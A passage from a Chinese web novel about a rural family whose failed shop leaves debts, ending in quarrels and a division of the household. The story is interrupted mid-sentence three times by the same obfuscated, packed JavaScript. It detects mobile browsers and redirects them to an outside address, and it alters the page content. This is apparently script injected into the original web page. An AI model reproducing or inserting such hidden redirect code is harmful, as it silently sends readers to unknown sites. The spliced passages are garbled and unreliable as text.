但是理智告诉她不能这么做，否则一旦事情传了出去，本来有理的自家就会变成没理。亲戚出了事可以懦弱的旁观，却不能指责他的过错，世道就是这么的可笑迂腐。她紧握起拳头，克制不住地双手颤抖。 这个妯娌的神态林氏看得清清楚楚，一丝轻蔑的笑意自眼角划过，她举起帕子按了按眼角，无可奈何地叹了口气。 丛孝抬起手指揉搓眉心，一整晚没睡让他脑子木愣愣地疼，一抽一抽拉扯着他的神经，“大姐，你是什么想法直接说出来吧，趁大家都在，事情总是要解决。” 丛娟也知晓不可太过，这也就是自个娘家，要是别家早被轰了出去。她坐直身子拿帕子抹了把脸，嘶哑着嗓音说道：“但凡有别的办法，我也不会霍霍自个娘家。二弟，只要你帮大姐一回，我一直记着你的好……” “大姐，别说这些有的没的了，我丑话说在前头，纵使要我出钱还债，我也只出我的那一半，当初说好是合伙做生意，就应该按照两家平摊的来。”丛孝疲惫地打断她的话。 “可是……” “我不同意。”杏娘厉声说道，她挑高眉毛讥讽地看着堂屋的人，“给狗扔两块骨头，它还知道要摇两下尾巴。我不指望你们感恩戴德，你们也别柿子尽拣软的捏。老王家的亲戚是死绝了不成，可着我们这一房薅毛？” 林氏眼角下拉，不满地开口：“弟妹这话好没道理，从头到尾我们这边就没掺和过你们的事，再怎么着也跟我们挨不着边，你可别胡乱攀扯。” “讲道理？我倒是愿意讲道理，结果你们跟我耍流氓，既然如此我还怕什么，那大家就比比看谁更不要脸好了。”杏娘气到极点反倒豁出去了。 “看在亲戚一场的份上我们才过来问问，其实你们的事跟我们家可没有一丁点瓜葛。”林氏毫不客气地说道，傲然转过身子对着丛三老爷夫妇，“今天过来本就不是为着这事，爹，娘，好叫你们知晓一件天大的好事，大爷谋了镇上私塾的差事，要去当教书先生了。” 丛三老爷转头看向大儿子，眼含期待：“是真的吗？” “是的。”丛信点头，带着点得意补充，“是原先在镇上一起念书的同窗推荐的，之前的老夫子年纪大了退下来，主人家看我有童生的功名同意让我顶替先生一职。” 老两口喜不自胜，老大念了这么些年的书，本以为到老就一个童生顶天了，肩不能挑手不能提靠别人养一辈子。没想到峰回路转，他也能找到差事，还是这么体面的行当，简直是老天保佑，不枉他们这么多年的辛苦付出。 看着一扫愁容乐不可支的老两口，林氏趁热打铁地说：“本不该在这种时候提出来，难得大伙都在，我跟大爷商量一番，还是告知爹娘较好。大爷在镇上有了出路，我们这一个房头肯定要搬到镇上去住的。家里的田地就顾不上了，没得让小叔两个操劳养活我们一家子的道理，所以，您二老看看，是不是该把这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457569|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家分了？” 晴天降下一个霹雳，轰得人外焦里嫩，屋里的欢声笑语像被急冻的河流冰封了。 陈氏阳光灿烂的脸瞬间布满阴云，她阴郁地盯着大儿媳：“怎么，你是想把我们甩了自个去过好日子？老天爷怎么不打下一个天雷，劈死你这个没良心的。” “不是这样的，娘，您老误会了，就算是分家，您二老按律也该跟着我们这一房才是，爹，娘自然是要跟着我们一起去镇上，断不会把你们抛下。”林氏身子前倾急忙解释。 陈氏不置可否，分不分家暂且不说，要是敢不孝顺老人，看她饶得了谁。 杏娘冷哼一声，嘲讽地说：“那是，两个老人你不敢丢下，正好扔了我们这些累赘轻装上路。用得着的时候是打虎亲兄弟，用不着了就是各奔前程两不相欠，真是打的一手好算盘。” “弟妹说的什么话，树大分杈，人大分家再正常不过，哪有一辈子捆在一处的理。我们也是为了小叔着想，爹，娘年纪大了，小叔一人料理这么多田地，农闲了还要出去帮工，铁打的人也受不住。分了家就不一样，吃干饭涝饭全凭自个本事，碍不着旁人什么。”林氏抚平了衣袖上的褶皱，慢条斯理说道。 “大嫂说话一直这么好听，我是个笨嘴拙舌的，心里一堆想头，只嘴上说不出来。但是我知道做人得讲良心，不是两张嘴皮子上下一碰就完事了。你们早不提晚不提，偏偏在这个时候提出分家，打的什么主意当人不知道？” 杏娘拆穿这个两面三刀的大嫂，之前十几年这个大哥跟个废物一样，怎么不说小叔子辛苦，现在倒是会装乖卖巧糊弄人。 林氏皱眉，“我能打什么主意？咱们明人不说暗话，开铺子这件事完全是你们两家搞出来的，跟我们没有一丝半缕的干系。说得难听点，不管是赔是赚，都应该等分完了家拿你们自个那份去算，可别把我们搅合在一起。” 杏娘被她的无耻气笑了，这两夫妻，还真是一个被窝睡不出来两种人，平日里看不出来，只说这个大嫂不显山不露水的，原来从根子上就是坏的。 丛娟抬起头瞟了一眼大弟媳，按理说这个时候她要帮着二弟一家说话，毕竟关系着铺子的债务能否解决，不分家于她来说是最有利的，只不过想到镇上的教书先生……她 垂下头不发一言。 王家其他人就是纯粹的背景板，人不拿他们当一回事，他们也不在意。这会儿虽不敢出声，私下底的眉眼官司却不停，你朝我挤眼睛，我向你歪嘴角。看不起他们姓王地又怎样，他们丛家还不是内讧，还不如我们老王家呢。 自从大嫂说出分家之语，丛孝震惊过后就平静地低着头，疲倦、纠结、麻木统统在他脸上消失。他就如一汪深井沉默如渊地矗立在那儿，哪管外头洪水滔天，井里依旧波澜不兴。 这时他抬起头，平静如波地直视他大哥：“哥，你也是这个意思吗？你也赞同分家是不是？” 丛信嗫嚅地顾左右而言他，被媳妇狠狠剜了一眼后道：“这也是没办法的事，镇上开销大你是知道的，你大哥我好不容易得到这个差事，无论如何我都不会放手。即便是分家了，你我二人仍是亲兄弟，打断骨头连着筋不是，日后大哥出人头地了自是不会忘了你的好。” 丛孝点点头，淡定地说：“好，我知道了。” 这一天又是不欢而散。 11. 第 11 章 静谧的房间里煤油灯散发着昏黄的光芒，微弱的灯光把杏娘在墙上照出一个黑影，烛火闪烁，人影晃动。 “我算是看明白了，这就是一家子喂不熟的白眼狼，都说大难临头各自飞，我们这还没怎么样呢，人家到是认定我们要遭灾了。这还是嫡亲的兄弟姐妹，就这么针尖对麦芒把我们往死里逼。”杏娘斜靠着床头，自言自语地说道。 丛孝伸出手臂揽了她的肩膀，额头挨着额头，闭着眼睛道：“杏娘，是我对不住你，你别怕，不会有事的。” “我不怕，我怕什么？他们只是要钱而已，还能要命不成。就算是要命，也要看他们有没胆量拿。” “这次的事情我会解决，损失的那些我日后十倍、百倍的给你赚回来，好不好？你就当破财消灾，跟他们撕捋干净，往后离得远远的，谁也不欠谁，我们过自个的小日子，行吗？”男人低声恳求。 “凭什么？我不甘心，咱家的银子是大风刮来的吗？是咱们农忙时晒得灰头土脸得来的，是你日夜做活计挣来的，凭什么白白给他们填坑。”杏娘挣脱丈夫的手臂，越说越激动，越说越委屈，嗓子里带了哭腔。 “你有银子时他们拿你当兄弟，现在遇到难事了，就想吃你的肉喝你的血。他们不心疼自个的兄弟，我心疼自己的丈夫。” 眼泪顺着莹白的脸颊滑落，她满脸泪痕地哭泣，“凭什么要帮他们？那是他们活该，就是死了那也是自找的，跟我们有何干系。你心软看不下去，我能，我心硬着呢，谁也别想逼我。” 丛孝不顾媳妇的挣扎，双手环抱住她，轻柔地拍抚她的脊背，“是，是，你没错，错的是他们。” “为什么就可着咱们欺负，是他们丧了良心不顾骨肉亲情，还有你大哥，真有骨气早先怎不见他跑这么快？跟头猪一样被养了几十年，现在到是知道发愤图强了，见我们倒霉了恨不得撇的干干净净。说他是猪还辱没了猪，人家一身连皮带骨都能吃，你哥那身肥肉只配下油锅。”杏娘恨恨地道。 “噗嗤！”男人没忍住，没想到媳妇骂人能这么狠，看来白天憋的久了，晚上迎来大爆发。 杏娘白了她一眼，“你笑什么？怎么，不能说你哥？你怕他，我可不怕，他现在还只是个小小的童生，就算明朝立马成了秀才、举人老爷，我也不带怕的。” “是，是。”丛孝安抚她，点头如捣蒜，“是他自己立身不正，不怪别人不尊重，再说也轮不到我来同情他。” “拿着我们的名头为非作歹也就罢了，我们算哪根葱，在自家这一亩三分地上还算个人，到了外头小虾米都不是，蝼蚁而已。名声对我们来说可大可小，丢了也就丢了。但我爹爹不一样啊，他老人家一辈子兢兢业业，小心稳重，像缝补衣裳那样缝起了李家的名声，吃的就是名声这碗饭。” “我们老李家尚且不敢胡作非为，他一个八竿子打不着的混球倒是吃了熊心豹子胆，敢打着我爹的旗帜行事。只要一想起这事，我就恨不得骂遍他十八辈祖宗。”杏娘也不管这十八辈祖宗是否冤屈，生出这般不孝子孙，挨点骂也是应当的。 “谁说不是呢？”丛孝敛了笑意，惆怅地道，“咱们已经被拉进这个泥潭里，泥水湿了衣裳沾了鞋袜，甩脱不干净了，唯一的办法就是把这潭污水排干连根拔起，方脱得了身。” “再有一个就是事关老丈人，拖的越久对他老人家越不利，只有快刀斩乱麻才是解决之道。赊账的这些人里，阴谋诡计，魑魅魍魉混杂在一起，谁知道他们心里打的什么算盘谋的什么主意？这些人防不胜防，不斩断他们的心思，岂不后患无穷。” 停顿了一会，男人低沉、缓慢地娓娓道来。 杏娘没有说话，眼神木呆呆地望着摇曳的灯芯。 东厢房没有点灯，一片黑暗中影影绰绰分辨出床上的两个人影。 “没想到老大还是有些个本事在身的，嘿！我也过一把体面人家老太太的瘾。” 丛三老爷皱眉，“你想分家？” “我无所谓，能不分家最好，不过我看老大一家铁了心要分，大丫头家出了这样的事，当初我们可是一力赞成的，老大家的抓住这个把柄，我们说话就不管用了。”陈氏冷静地分析。 “哎……老大只有一个文儿，老二可有三个小的，分了家没人帮衬日子可怎么过，他一个人养得活五口人？” “那我不管，又不是我生的。反正要是分了家，我是一定要去镇上的，有福不享才是傻蛋。”陈氏无所谓的说道，跟一般乡下老太太不同，她一直就是个私心较重的人。待儿子、女儿没有明显的区别，一切以自个为先，儿女自然跟她没有深厚的情感。 她也不在乎，堂屋摆着“天地君亲师”的牌位，谁敢让她饿肚子？ “再说了，杏娘她爹又不是个摆设，还能眼睁睁看着闺女、外孙饿肚子，少不得……” “闭嘴。”丛三老爷厉声呵斥，“说的越发没边了，老二是上门女婿么？要靠老丈人养活，你也不怕笑掉人家大牙。以后这种话少说，连想都不要想。” 陈氏“呵”一声，翻过身懒得理他。 …… “今天是第三天了，要还债也好要分家也罢，咱们按照顺序一个一个来。”看着再次齐聚一堂的几房人，丛孝率先开口。家里这几天比过年还热闹，每天满登登的像开堂问审的县衙大堂，只不过审的是谁，恐怕每人思量各不相同，“就算是唱戏，也分个先来后到吧。” 丛娟帮腔：“二弟说得对，确实要分个轻重缓急，虎头八脑一窝蜂地挤进来能干什么事。” 丛孝没理她，转头对他大哥：“哥，你不用急，这次的事情是我没考虑周全，本也跟你没牵连，任何纠葛都由我这一房出。公中的银子不会动用，到时分家按章程办事，该怎么样就怎么样，你不用担心。” “不是……我不是那个意思……其实不用这样，我相信你。”丛信词不达意地嘟囔了几句，白胖的脸上些微激动。 林氏脸上一片淡漠，仿佛昨天的分家之言跟她没关系。 杏娘也提不起精神，懒洋洋的靠着椅背，眼睛望着墙角不知道在想什么。 “关于铺子的债务，我已经说了我的意思，不知道大姐有什么想法？”丛孝平静地问。 “是，你说的对，是该我们两家平摊。”丛娟一脸苦相为难地说，“可我们家实在拿不出银子，这样吧，我也不让你吃亏，那一半算我借的，好不？我以后一定还你。” “大姐是觉得我没长脑子，还是没长心，这种话说出来就没意思了。” 丛娟恳切地强调：“我真的没有骗你，你要不信，尽管去我们老王家搜查，但凡能找出一个铜板，我就不是人。别说铜板了，只要是能换几个钱的物件，你都可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457570|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿去卖了换钱。” 丛孝直勾勾地看着她：“你当真拿不出银子？” “我知道你不相信我，可我真的没有说谎，否则让我头顶生疮，脚板流脓。”丛娟赌咒发誓地说，用帕子按着眼角，作伤心、委屈状。 杏娘轻“嗤”一声，嘴角扯动，身子一动不动。 “行。”丛孝点头，也没说相信还是不相信，他转头问一直当隐形人的大姐夫和大外甥，“你们也同意大姐的提议？就当是你家借了我的银子？” 两人对视一眼，王姑爷小心翼翼地回道：“我们家一直是你大姐当家，她说的就是我们全家的意思。” 王德更是如同被雨浇了满头的小鸡，蒙头蒙脑地躲在母鸡翅膀下不愿冒头，“我也都是听娘的，我没意见。” 丛孝轻笑起来，“很好，我知道怎么做了。” …… 丛孝拿钥匙打开铺子大门，仔细清点货物记录在册，已经结账的和赊账的分门别类、依次放好。结了账的暂且不提，还未给钱的重新誊抄一遍，进货总量，卖了多少，剩余几何，单价是什么，条目清晰一目了然。 租了周老爷子的船装满货，拉着外甥跑到镇上商铺一一对账，算出总账，提了剩下的货抵债，掌柜多是摇头不肯答应。哪有卖出的东西往回收的道理，货已售出概不退还。 丛孝难得没了笑意，强硬地表态：“我打小走南闯北十几年，见过听过的稀罕事不知凡几。我却从来没听说过做买卖的生意人，既不是亲友，又不是故交的，能给一个毫不相干的陌路人赊账，且不是一笔小数目。许是我年轻见识浅薄，不如请镇上的族老、乡绅们吃顿饭喝席酒，问个清楚明白。” 一番话说得掌柜暗自心惊，本就心里有鬼，事情闹大就不好收场了。好容易碰上个二愣子，能大赚一笔固然好，事没成退下来就是，也不会有什么损失。 故此讪讪地拉了他的袖子，“丛七爷好大的气性，这不是好商量么，之前一时想差了。其实只要完好无损，看七爷的面上，我们也是收的。” 满船货物抵个干净，王德一脸惊叹，双目崇拜地看着小舅。丛孝眼角都不夹他一下，要不是缺个搬货的，他会让这个蠢东西有多远滚多远。 回到铺子又是一顿敲锣打鼓，这次不是开张大吉，而是关门大放送。丛孝提了锣敲得“咣当咣当”响，吵得整个村的人都来看热闹。 “走过路过不要错过，各位婶子叔伯们下晌好，我丛孝今天提前给大伙送冬至节礼。” “咣当”又是一声，他一手提锣一手拿锣槌指着大门洞开的杂货铺，“这里面所有的东西，今天内一律半价，全部的货都是半价。” 人群“轰”的沸腾起来，如同水滴掉落在烧红的木炭上，窸窣不止。 有那谨慎的年轻媳妇再次确认：“丛孝，你可别开玩笑啊，我付了账就是我的了，你不能抵赖。” “千真万确，从现在起全部一半价格，卖完为止。” 那还等什么，婆子媳妇们拨开丛孝就冲了进去，此时恨不得长出七只手八只脚，平日里吝啬看一眼的口脂拿上一盒，家里小儿馋这一块饴糖有些日子了，装上一包。人人如猛虎下山，虎跃龙腾，势不可挡，男人尚且不是对手，压根插不进脚。 被推搡开的丛孝提溜打个转，继续候在一旁咣咣敲他的锣，给火热的气氛浇一勺油。 12. 第 12 章 且说丛孝的半价“冬至节礼”场面着实热闹，家里本就缺油盐的眼疾手快地瞄准了就下手，看中了却一直犹豫旁观的此时也一改往日作风，袖着手不打算买东西只为凑热闹的一看这架势不对啊？ 先不说买了能不能占到便宜，但是不买肯定是吃亏的，没见大伙跟不要钱似的往怀里搂吗？于是二话不说也撸起袖子冲了进去。 从太阳稍偏到日落黄昏，铺子喧哗似赶集，王德第一次体会到了什么是收钱收到手软。寻常求爷爷告奶奶要他们买东西的那帮婆娘，全然忘了拿块帕子还要饶个两文，手杵到他鼻子底下地给他塞钱，生怕他不收，还扯着嗓门叫嚷提醒。 这才叫做生意哪！虽然他是个废物点心，但他小舅是干买卖的一把好手啊。 可惜了，怎地就这么想不开要关店呢？要是还开着，他也不说合伙这种话了，当个卖货的小伙计也挺好。小舅指东他绝不往西，让吃馒头绝不吃包子，指哪打哪，保证不擅作主张。 可惜了哟！他一边惆怅地想一边乐呵呵地收铜板。 夕阳把人影拉成长长的一条怪物样，兴高采烈的人们满载而归，有听到消息的邻村人急匆匆跑来一看，货架上已空空如也，只剩不多的几样物什。 “哎呀，来晚了来晚了，丛孝，还有货吗？都拿出来摆上呗。” “没有了，全卖完了，您看看这些可有需要的，别再等会这些也没了。” 一听这话来人满脸恍然，着急忙慌地挨个踮脚看，不能白跑一趟，怎么也要够本才是。 等到最后一人走出大门，店内已点上煤油灯。整个铺子犹如蝗虫过境，除了白糖在内的零星几种货物完好如初，墙角掉落几颗糖块，货架上散乱堆着两个瓷娃娃。 丛孝环视一周，拿了瓷娃娃和白糖放进袖袋，剩下的一总包袱皮一卷，塞到激动难耐的外甥怀里，“剩下的这些东西咱两家分了，这是你的那份，我会记在账上。” 王德抱着一包东西敢怒不敢言，臊眉耷眼地站在柜台旁边。丛孝才不管他怎么想，吩咐他明天早上卷铺盖走人，抬脚出大门往自家方向走。 待到王德搬家完，丛孝捡了些自家能用的桌椅板凳搬回家，其余的货架等物全打折卖与木匠。整座宅子从前到后一贫如洗，恢复成它最初的模样，当然墙上的白灰没白刷，屋内亮堂了不少。 请来屋主解了契约，剩下半年租金也不计较了，钥匙一交转身走人。 在家核对了两天账目，携着钱匣子赶往镇上商铺结清剩余钱款，拿回欠条。丛孝长舒一口气，只剩最后一步了。 “所有来往账册都在这里，详细记录了每一笔交易。”丛孝手指点着账簿，对他大姐说道，“除掉最初的五两银子，抹掉零头，总共亏损十五两白银。” “啊？有这么多吗？”丛三老爷大惊失色，险从凳子上跌下来。 要知道一个小户之家一年的开销也就七、八两上下，若是过得宽松些，吃穿略奢靡也不超过十两。这可是十五两啊，够普通人家生活二、三年的了。 丛娟也不相信，奈何账本上条例分明，是亏是赚一目了然，想赖也赖不了。 杏娘亦是目露惊疑，手拽帕子来回撕扯。 丛信两口子面面相觑，幸亏提前说好了分家事宜，这些债务落不到他们头上，就是撕破脸皮也值了，两人心内暗自庆幸。 其余王家诸人窃窃私语不停，却不敢明目张胆的提出来，就算是怀疑也只能自个憋着。 “按照约定我们两家平摊全部费用，每家各出十两，大姐，你没意见吧？”丛孝询问。 “没意见，我能有什么意见？”丛娟郁闷至极。 “那就好。”丛孝拿出事先准备好的借条，让王家老少都看过按了手印。 他收好借条，咳嗽一声正色说道：“好了，接下来该轮到分家了，索性大伙都在，趁着今天一并解决。” 丛家两兄弟的分家不像旁人那般复杂，房屋家当各自都有，家里水田旱田平分成三份，老两口和兄弟二人各占一份，只一条水牛不好分配。但问题不大，丛信既然决定举家搬到镇上去住，田亩自然无法耕种，水牛也就用不上。 暂时约定水牛归两家所有，仍由丛孝喂养。 别的都好说，只一条产生了严重分歧。 “我老天拔地把你们拉扯大，你们就是这么报答我的？供你们吃喝拉撒不要钱？养大了要娶媳妇，又要生儿育女，就你们挣的那几个铜子，吃屎都不够。我手上没有银子，爱信不信。”陈氏大声强调，仿佛受了很大冤屈似得差点跳起来。 林氏耐着性子规劝：“娘，咱们家的家底在村子不说是数一数二，至少也是中等往上吧，这么些年的田亩出息可都在您老手里攥着，您现在说一文钱没有，说出去也没人信吧？” “嘿，老娘倒要你来教做人，我吃的盐比你吃的米还多。你十指不沾阳春水，懂得什么过日子的艰难。一日三餐、四季衣裳、人情往来、看病吃药，你告诉我哪样不要钱？” “你瞧瞧村里谁家日子有咱家这么舒坦？吃我的住我的，生了小的还要我养，现在还想着找我要钱？我没找你们要钱就已经够好了，我告诉你，你可别人心不足蛇吞象，吃着碗里的看着锅里的，你这是痴心妄想。” 林氏气结：“娘，您能不能讲点道理？我就生了一个文儿，能花费多少银钱？您老找人要钱，也不该找到我们身上。” 只有一个儿子一直是她心里的隐痛，弟媳接二连三的怀孕生产，儿女双全。 去年年底她好不容易怀了胎，结果没过几个月就无声无息的滑掉了，让她伤心了好一阵子。这个破地方再呆不下去了，专门克着他们家把好风水流到老二家，说不得就是那个李老头动了什么手脚。她早看那老头不顺眼了，谁知道干了些什么见不得人的事。 这个家一定要分，分了她就搬到镇上去，离这些人远远的，看谁还能妨碍到他们家。 杏娘顿时不乐意了：“大嫂这话我就听不懂了，是，我是生了三个，谁叫我命里带福呢，旁人想要都没有。谁家生儿育女都是大功臣吧，这叫子孙延绵，人丁兴旺。就大嫂这一根独苗，也就咱们家不计较，否则还不定怎么样。无论如何，就算是分家，也不该拿子孙说事。” 缓了一口气，她继续道：“就子孙而言，我们这一房按理该多得一份才是。我们两口子厚道，事不做绝话不说断，可别以为我们就软弱可欺了。” “再说了，从我嫁进来快十年了吧，我家那口子是农时忙种田，闲时外出讨活，每年还要交公中几两银子。我可从来没见大哥拿回家一个铜板，倒是他时不时的交束脩、结交同窗、给先生送礼，光每次的科考就是一笔费用。照我说，咱们全家最费钱的就是大哥。” 杏娘这几天积了一肚子火，正有气没处发，谁撞到枪口上谁倒霉，她也不管什么长幼尊卑了。即便是风平浪静，她还想搅风搅雨呢，有人主动找上门来，她可不会客气。 “所以说，娘，您应该找大哥要钱才是。” 一席话说得两婆媳都消了音，往常杏娘是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457571|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马大哈，银钱过手从不往心里去，还以为是个心思散漫的，不想一旦开始较真，还真不是盖的。软刀子不伤人，真刀实枪横切竖砍才见血。 丛孝笑笑不说话，媳妇发火总比憋着强，憋气伤身。再说他们夫妻吃了个闷亏，闹腾一下怎么了，否则都以为他们好拿捏。其他人得了好处受点气也是应当的，不能事事都专美于前嘛。 丛信脸涨的通红，真要去辩白，人家说的都是真的；置之不理假装没听到吧，更是做贼心虚，彻底做实这些说辞。所以看破不说破，最得利的不是说的人，而是做的人，一旦人家说穿了，面子里子都掉个精光。 林氏定了定神，竭力忽视弟媳的话，跟婆婆强调：“就算是去镇上，没有银子怎么搬家？衣食住行哪样不花钱？租房子买家什都是大头，更别说还要置办几身体面衣裳。您要真是一毛不拔，那这个家也不必搬了。搬去干嘛，睡大街么？到时大爷的差事黄了，想必您是个有本事的，定能给他安排别的事体。” 陈氏怒火冲天，头发险些竖起来，“好哇！你还敢威胁老娘来了，我会怕你？你当我吃素的？不搬就不搬，本来就是泥腿子出身，沾了泥腥味一辈子也洗不脱，搬去镇上就能成上等人了？你可别做梦了，好好在乡下种地也饿不死。” 杏娘冷眼看两人争吵，她才失了一大笔银子，也就无所谓婆婆的分家银。况且婆婆就是貔貅投的胎——只进不出，要想从她手里掏出银子，比登天还难。对上别人，两婆媳枪口一致；对上自个，她倒要看看，她们还会不会这么齐心。 眼看两人闹得不可开交，老二两口子冷眼旁观不出声，丛信只得亲自上阵。软磨硬泡，唉声恳求，他也不年轻了，好不容易等到这个机会，他不想放弃，能不能翻身就看这次了。请他娘高抬贵手，帮他一把。 一个大男人涕泪纵横，楚楚可怜求老娘开恩，杏娘都没眼看，撇开视线。 丛三老爷亦出口相劝，再怎么样分家时也该分些银子，做得太难看惹人说闲话。 左右夹攻之下，陈氏顶不住压力，只得拿出三十两银子分与两个儿子。 “分！都分给你们，趴在爷娘身上吃肉喝血的东西。”从没受过如此大辱，陈氏深感当娘、当婆婆的权威受到极大挑衅，气得破口大骂，也不管骂的是自个儿孙。 “一群没良心的王八羔子，活该被天打雷劈的玩意，忤逆爹娘就应该被抓去大牢打板子。当初就不该生你们，生下来就地扔水里淹死了事，也免得今天受这窝囊气，我倒要看看你们能得意几时。” 她厉声呵斥：“我们两个老家伙的棺材本都被你们扒拉出来了，往后要是再想从我手里拿钱，干脆一把火烧了我这身老骨头，敲打一番兴许还能榨出几个铜板。” 一席话说得荡气回肠，粗哑的嗓音在堂屋漾了一圈又一圈。 丛信满脸羞愧，因自个不孝顺亏欠了老娘，枉为读书人做派。他掩面抽泣，真是羞煞人也，日后有何面目立于人世。 丛孝沉默地侧坐着，看不清脸上表情，挺直的鼻梁在光影里更加陡峭。 丛娟则望着老娘散乱的头发，粗重地喘息若有所思。 既商定了诸般事宜，择日不如撞日，各人分头行动，置办酒席、邀请宗老村长、通知娘家老舅。待人齐全看两个老的虽沉着脸，到底没出声反对，便知已私下商议妥当，乐得避过纠纷痛快写下分家文书，约定养老事项。 分家酒宴吃地酩酊大醉、杯盘狼藉，直到月上中天，众人才勾肩搭背歪斜地散去，丛三老爷家至此分家。 13. 第 13 章 窗外不知名的虫鸣鸟叫此起彼伏，间或响起一两声狗吠，室内一片祥和，灯火明暗不定把人的影子拉地忽大忽小。 温柔的夜色给杨氏的脸镀了一层祥光，抚平了额头眼角细密的皱纹，看起来格外慈爱可亲。 “分家了也好，你那个婆婆不消说，就没见过这样生性凉薄，不顾儿孙的长辈。再有就是嫂子，那就是条千年的狐狸投的胎，九孔的莲藕都没她心眼多，你就算再活个百年也及不上。” 杏娘不服气地哼哼，她虽鲁直了些，到底算不上太笨，只是打小没吃过苦头，不知人心叵测。 “你别不服气，分了就分了没什么大不了的，过好自个的日子比什么都重要，家财是死的人是活的，事已至此从新来过。”杨氏指点闺女，侧身从枕头底下翻出一个素色荷包，“拿着，这是一两银子，花完了娘再给。我还不知道你，你手头的银子不多了吧？” 杏娘扭过身羞红脸，“我不要，我都多大了，嫁人生子这么些年，爹娘既没得过我的好处，我哪能要您的银子。” 杨氏笑嗔：“生你又不是来要债的，只要爹娘还在，有我们一口吃的自是不会短了你跟孩子们。男人不用管，连口吃的都捞不上的话，死了倒干净。” 杏娘还是不依。 “你别多心，我们还没死，我的东西想怎么处置轮不到旁人说三道四。若是就着那些酸言酸语过日子，那不用活了，淹都淹死了。至于死后的家财分产，那也是死之后的事情，犯不着现在就开始操心劳力。” 杨氏强调：“有本事的男丁能闯出自个的前程，不会眼巴巴盯着长辈的那点微末家当。没能力只会眼热的，你给的再多人还觉得娘老子藏起来一半没给。我跟你爹拉扯大了老李家的三代人，后面的可就顾不上了，我且得好活呢！” 杏娘红了眼圈破涕为笑，紧紧地靠在老娘怀里，“爹娘要一直活着，活得好好的，我就什么都不怕了。” 杨氏摩挲着闺女的头发，厚实的掌心勾起缕缕发丝，“分了家就要自个立住，精打细算方能过好日子，切不可再大手大脚被人算计了去。银子在自己手里才叫银子，花用出去就是别个的了，跟你再没关系。” 杏娘落地时李家已小有家产，儿子们还不到婚嫁的年龄自然没有大宗的钱财消耗，日子过得富裕小闺女就养得娇气。四季的时新衣裳料子，当季的新鲜吃食零嘴，在小姐妹当中都是头一份。她穿不了的旧衣，还有邻里讨了去给自家闺女当新衣穿。 待大了些，胭脂水粉、镶银的发簪耳环更是没少过。 每逢李老爷子外出做事回来，定是先抓一把铜子给小女儿，或是几百或是几十不等，余下的才交予媳妇做家用。故而杏娘自小就不缺钱花，想买什么东西旁人家还得算计筹划，她晃晃私房钱匣子说买就买不带犹豫的。 做女儿时尚且还好，毕竟有爹娘在后头撑着，人算计不到她身上来，等到成亲嫁人，那就成了别人眼中的散财童子。 当年闺女出嫁时李老爷子老两口准备的嫁妆满满当当插不进手，先不说那些床榻椅柜的大件家具，就是塞满了整整六个大红樟木箱的衣裳鞋袜、幔帐枕巾、妆匣首饰、子孙宝桶等等，至今还被周边人艳羡称赞。 另还有十床崭新的龙凤喜被，金灿灿的颜色在日光下晃的人眼花，压箱底的银子也给的多，足有三十两白银，三个儿子的婚嫁花费都够用了。 这份嫁妆虽比不上大户人家嫁女的奢靡排场，但绝对够齐全，在乡下能赶上一份家业了。 杏娘到了丛家，丛孝把剩余的私房都交由她保管，手里握着大笔银子，又无爹娘教导约束，她就像掉进油缸的老鼠，快活地很。 彼时尚未分家，家务灶房活计两妯娌轮流做，大房做的饭菜中规中矩，无甚出彩之处。轮到二房掌厨了，那两婆媳如同约定好了似的唱起了双簧，一问一答的仿若闲聊。 这个说“小叔子这段时间肉眼可见地消瘦了，可怜见的，在外要讨活计在家要忙农事，铁打的身子也吃不消！”那个接口“可不是，再不吃点好的保养身子，亏损过了头可就找补不回来了。我就是手头紧了些，若不然鸡鱼鸭肉的可劲做了他吃，饭菜能花几个钱，自家汉子才最紧要。” 亦或是“怀了身子的女人最是娇贵，尤其是头一胎，养得好的妇人康健更甚往常，接二连三的生儿育女不在话下。要是吃得差了，可就不是面黄肌瘦、憔悴苍老那么简单的事了，运气差的生产时就是一只脚迈进鬼门关，能不能活过来还得看阎罗爷肯不肯放人。这个时候是再不能抠搜小气的，亏了谁也不能亏了自个，该吃就得吃，吃得好了肚里的孩儿也跟着沾光，生下来就比寻常孩童健壮。” 再或者“满了周岁的孩童跟着大人一起吃饭，小儿肠胃娇嫩，比不上大人的铜墙铁胃，饭食太粗糙了可不行。要是吃得积在肚子里生了病，孩子受罪大人受累，何苦胡乱折腾，还不如一开始就喂些精米细面养起来，等立住了再跟着一起吃不迟。” 